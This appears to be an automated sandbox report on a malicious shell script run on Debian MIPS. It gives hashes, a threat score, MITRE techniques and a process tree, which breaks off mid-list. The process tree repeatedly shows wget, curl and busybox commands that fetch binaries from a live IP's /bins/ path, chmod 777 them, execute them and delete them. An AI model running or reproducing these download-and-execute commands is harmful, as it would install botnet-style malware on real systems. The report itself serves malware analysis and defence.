d0aa4d8333f14e2cdeb6fd6a944d6ae7e035a12f91eda5f2f2e9c7a47e176165

Analysis

max time kernel
74s
max time network
72s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
28/10/2024, 03:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d0aa4d8333f14e2cdeb6fd6a944d6ae7e035a12f91eda5f2f2e9c7a47e176165.sh
Size 10KB
Sample241028-dxep3awreq
SHA256 d0aa4d8333f14e2cdeb6fd6a944d6ae7e035a12f91eda5f2f2e9c7a47e176165
MD5 e9a66501f73b92c06c777e08f27179c3
SHA1 72f8f28239182799ef5388f7249e55c99e455584
SHA512 7e1028a1c6cdbb8e1687d3f2669b0b91b4e1c543f03546164f338f4c25c641bceba0dcfb40f69203a1af73ee20e67290c850b003046e64aebdb640100e6f87ec
SSDEEP 192:nFdbbXAjT2y/0WG5vAfuDRbXAjT/dwxiS:nFdDy8WG5vAfuDIKxiS
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
750	chmod
918	chmod
936	chmod
954	chmod
966	chmod
856	chmod
744	chmod
948	chmod
972	chmod
984	chmod
882	chmod
930	chmod
942	chmod
960	chmod
924	chmod
756	chmod
784	chmod
812	chmod
819	chmod
912	chmod
870	chmod
876	chmod
900	chmod
978	chmod
828	chmod
888	chmod
894	chmod
906	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
747	wget
751	NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
871	TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
911	busybox
952	curl
956	rm
909	wget
951	wget
955	TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
752	rm
869	busybox
872	rm
910	curl
913	NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
748	curl
749	busybox
861	wget
868	curl
914	rm
953	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i	curl
File opened for modification	/tmp/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u	curl
File opened for modification	/tmp/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo	curl
File opened for modification	/tmp/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6	curl
File opened for modification	/tmp/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i	curl
File opened for modification	/tmp/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d	curl
File opened for modification	/tmp/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae	curl
File opened for modification	/tmp/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd	curl
File opened for modification	/tmp/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20	curl
File opened for modification	/tmp/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC	curl
File opened for modification	/tmp/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h	curl
File opened for modification	/tmp/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH	curl
File opened for modification	/tmp/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d	curl
File opened for modification	/tmp/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u	curl
File opened for modification	/tmp/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv	curl
File opened for modification	/tmp/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj	curl
File opened for modification	/tmp/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd	curl
File opened for modification	/tmp/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC	curl
File opened for modification	/tmp/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae	curl
File opened for modification	/tmp/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo	curl
File opened for modification	/tmp/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv	curl
File opened for modification	/tmp/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj	curl
File opened for modification	/tmp/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd	curl
File opened for modification	/tmp/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH	curl
File opened for modification	/tmp/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h	curl
File opened for modification	/tmp/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd	curl
File opened for modification	/tmp/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20	curl
File opened for modification	/tmp/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6	curl

/tmp/d0aa4d8333f14e2cdeb6fd6a944d6ae7e035a12f91eda5f2f2e9c7a47e176165.sh
/tmp/d0aa4d8333f14e2cdeb6fd6a944d6ae7e035a12f91eda5f2f2e9c7a47e176165.sh
1⤵
PID:714
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:718
- /usr/bin/wget
  wget http://87.120.84.230/bins/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  PID:721
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  PID:742
- /bin/chmod
  chmod 777 5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  ./5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm 5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.84.230/bins/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - System Network Configuration Discovery
  PID:747
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - System Network Configuration Discovery
  PID:749
- /bin/chmod
  chmod 777 NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  ./NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:751
- /bin/rm
  rm NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - System Network Configuration Discovery
  PID:752
- /usr/bin/wget
  wget http://87.120.84.230/bins/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  PID:755
- /bin/chmod
  chmod 777 vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  ./vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.84.230/bins/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  PID:778
- /bin/chmod
  chmod 777 u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  ./u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  PID:788
- /usr/bin/wget
  wget http://87.120.84.230/bins/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  PID:808
- /bin/chmod
  chmod 777 ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  ./ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.84.230/bins/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  PID:818
- /bin/chmod
  chmod 777 mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  ./mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.84.230/bins/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  PID:824
- /bin/chmod
  chmod 777 llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  ./llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  PID:833
- /usr/bin/wget
  wget http://87.120.84.230/bins/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  PID:850
- /bin/chmod
  chmod 777 5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  ./5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm 5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  PID:860
- /usr/bin/wget
  wget http://87.120.84.230/bins/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  ./TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:871
- /bin/rm
  rm TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - System Network Configuration Discovery
  PID:872
- /usr/bin/wget
  wget http://87.120.84.230/bins/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  PID:875
- /bin/chmod
  chmod 777 lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  ./lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  PID:878
- /usr/bin/wget
  wget http://87.120.84.230/bins/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  PID:881
- /bin/chmod
  chmod 777 TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  ./TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  PID:884
- /usr/bin/wget
  wget http://87.120.84.230/bins/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  PID:887
- /bin/chmod
  chmod 777 ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  ./ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.84.230/bins/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  PID:893
- /bin/chmod
  chmod 777 0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  ./0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm 0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  PID:896
- /usr/bin/wget
  wget http://87.120.84.230/bins/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  PID:899
- /bin/chmod
  chmod 777 cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  ./cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.84.230/bins/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  PID:905
- /bin/chmod
  chmod 777 5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  ./5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm 5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
  2⤵
  PID:908
- /usr/bin/wget
  wget http://87.120.84.230/bins/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - System Network Configuration Discovery
  PID:911
- /bin/chmod
  chmod 777 NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  ./NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:913
- /bin/rm
  rm NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
  2⤵
  - System Network Configuration Discovery
  PID:914
- /usr/bin/wget
  wget http://87.120.84.230/bins/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  PID:917
- /bin/chmod
  chmod 777 vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  ./vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
  2⤵
  PID:920
- /usr/bin/wget
  wget http://87.120.84.230/bins/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  PID:923
- /bin/chmod
  chmod 777 u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  ./u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
  2⤵
  PID:926
- /usr/bin/wget
  wget http://87.120.84.230/bins/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  PID:929
- /bin/chmod
  chmod 777 ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  ./ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.84.230/bins/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  PID:935
- /bin/chmod
  chmod 777 mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  ./mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
  2⤵
  PID:938
- /usr/bin/wget
  wget http://87.120.84.230/bins/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  PID:941
- /bin/chmod
  chmod 777 llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  ./llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
  2⤵
  PID:944
- /usr/bin/wget
  wget http://87.120.84.230/bins/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  PID:947
- /bin/chmod
  chmod 777 5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  ./5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm 5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
  2⤵
  PID:950
- /usr/bin/wget
  wget http://87.120.84.230/bins/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - System Network Configuration Discovery
  PID:951
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - System Network Configuration Discovery
  PID:953
- /bin/chmod
  chmod 777 TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  ./TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:955
- /bin/rm
  rm TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
  2⤵
  - System Network Configuration Discovery
  PID:956
- /usr/bin/wget
  wget http://87.120.84.230/bins/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  PID:957
- /usr/bin/curl
